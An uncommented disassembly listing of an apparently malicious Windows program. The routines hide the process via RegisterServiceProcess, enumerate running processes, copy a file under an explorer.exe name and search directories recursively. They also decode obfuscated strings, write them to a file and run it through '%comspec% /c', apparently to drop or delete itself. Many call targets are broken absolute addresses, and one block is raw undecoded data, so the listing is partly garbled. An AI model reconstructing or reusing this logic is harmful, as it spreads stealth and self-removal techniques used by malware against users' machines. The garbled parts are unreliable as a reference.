; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFB0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D030	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0F7


loc_40D080:				; CODE XREF: sub_40D030+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0E7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D09A
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0E7
		cmp	al, 2Eh
		jz	short loc_40D0E7


loc_40D09A:				; CODE XREF: sub_40D030+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0E7:				; CODE XREF: sub_40D030+55j
					; sub_40D030+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40D080


loc_40D0F7:				; CODE XREF: sub_40D030+4Ej
		push	ebx
		nop
		call	near ptr 28505E1h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2870000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D18B


loc_40D138:				; CODE XREF: sub_40D030+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D138


loc_40D18B:				; CODE XREF: sub_40D030+106j
		push	ebx
		nop
		call	near ptr 28505E1h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D030	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D200	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D200	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3B0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2871CD7h
		push	eax
		nop
		call	near ptr 2871199h
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4D3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4D3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4D3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4D3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4BC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D43D:				; CODE XREF: ___:0040D4B7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4A3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4A4


loc_40D4A3:				; CODE XREF: ___:0040D47Bj
		inc	ebp


loc_40D4A4:				; CODE XREF: ___:0040D4A1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D43D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4BC:				; CODE XREF: ___:0040D427j
		mov	ecx, dword_449068
		push	ecx
		nop
		call	near ptr 283094Ch
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4D3:				; CODE XREF: ___:0040D3D6j
					; ___:0040D3E4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D530:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2880CC7h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5F6
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 2880818h
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5F6
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	near ptr 2880000h
		nop
		push	esi
		call	ebx


loc_40D5F6:				; CODE XREF: ___:0040D599j
					; ___:0040D5DBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D650	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 2871CD7h
		push	eax
		call	near ptr 2871199h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	near ptr 27E0937h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D741
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D741
		push	ebx
		push	0
		call	eax


loc_40D741:				; CODE XREF: sub_40D650+A7j
					; sub_40D650+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D778
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D778
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D778:				; CODE XREF: sub_40D650+10Dj
					; sub_40D650+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D650	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38E4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EC4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E8CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E80E848h
		dd 8D50FFFFh, 0A8248Ch,	8680000h, 5100444Bh, 4ED9E890h
		dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CE9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 42263BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CB3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DDAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23E2909h, 874C085h, 0E890006Ah
		dd 7782C40Eh, 24244C8Dh, 0A42484C6h, 1,	0FF37A5E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3791E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBE0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DBF4
		push	offset word_449162
		call	near ptr 27E0E16h
		nop


loc_40DBF4:				; CODE XREF: sub_40DBE0+7j
		mov	al, 1
		retn
sub_40DBE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC10	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 2871CD7h
		nop
		push	eax
		nop
		call	near ptr 2871199h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27D0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	near ptr byte_5F285B
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 28503A0h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E168
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27E0000h
		push	esi
		nop
		call	near ptr 283094Ch
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	near ptr 2871CD7h
		nop
		push	eax
		nop
		call	near ptr 2871199h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	near ptr byte_5F285B
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 27F036Dh
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E168:				; CODE XREF: sub_40DC10+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC10	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2E0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
